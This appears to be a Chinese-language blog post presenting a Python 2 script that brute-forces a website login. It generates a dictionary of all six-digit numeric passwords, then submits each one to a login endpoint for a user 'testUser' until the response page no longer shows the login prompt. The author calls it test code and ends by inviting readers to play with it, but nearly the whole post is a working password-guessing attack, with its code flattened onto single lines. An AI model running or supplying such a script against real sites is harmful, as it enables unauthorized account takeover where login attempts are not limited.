python 暴力破解密碼腳本
以下,僅為個人測試代碼,環境也是測試環境,暴力破解原理都是一樣的,
假設要暴力破解登陸網站www.a.com 用戶 testUser的密碼,
首先,該網站登陸的驗證要支持 無限次的密碼嘗試
假設testUser 的密碼為 6位的純數字
1:先長成 6位純數字密碼字典
import os pds=[] rg=range(0,10) for first in rg: for second in rg: for three in rg: for four in rg: for five in rg: for six in rg: num= "%s%s%s%s%s%s"%(first,second,three,four,five,six) pds.append(num) file_object = open('/Users/teso/Desktop/pwdNum6.txt', 'w') file_object.writelines(['%s%s' % (x,os.linesep) for x in pds]) file_object.close( )
上面腳本會在桌面生成 6位數字的所有密碼字典 pwdNum6.txt
2: 研究 www.a.com 網站的登陸驗證機制,腳本暴力破解密碼
import urllib,urllib2,HTMLParser #解析網頁的爬蟲 class OAParser(HTMLParser.HTMLParser): def __init__(self): HTMLParser.HTMLParser.__init__(self) self.pd=[] def handle_data(self, data): #print "Encountered some data :", data self.pd.append(data) #暴力破解腳本 def tryLogin(name,pwd): parm={"loginName":name, "password":pwd} url="http://192.**.*.*/***/login/li" r=urllib2.urlopen(url, urllib.urlencode(parm)) parse=OAParser() parse.feed(r.read()) parse.close() isFind=False if "用戶登錄" in parse.pd:#這里是對應網站的密碼驗證邏輯 print '嘗試密碼',pwd,'登陸失敗' isFind = False else: print user,'登陸成功','password = ',pwd isFind=True del(parse) return isFind user='testUser' #password=['1','12','123','1234','12345','123456','12345678'] fpath='/Users/teso/Desktop/pwdNum6.txt' pfile=open(fpath,'r') for onePwd in pfile.readlines(): if tryLogin(user, onePwd[:6]): break;
流程大致如此,自行研究着玩了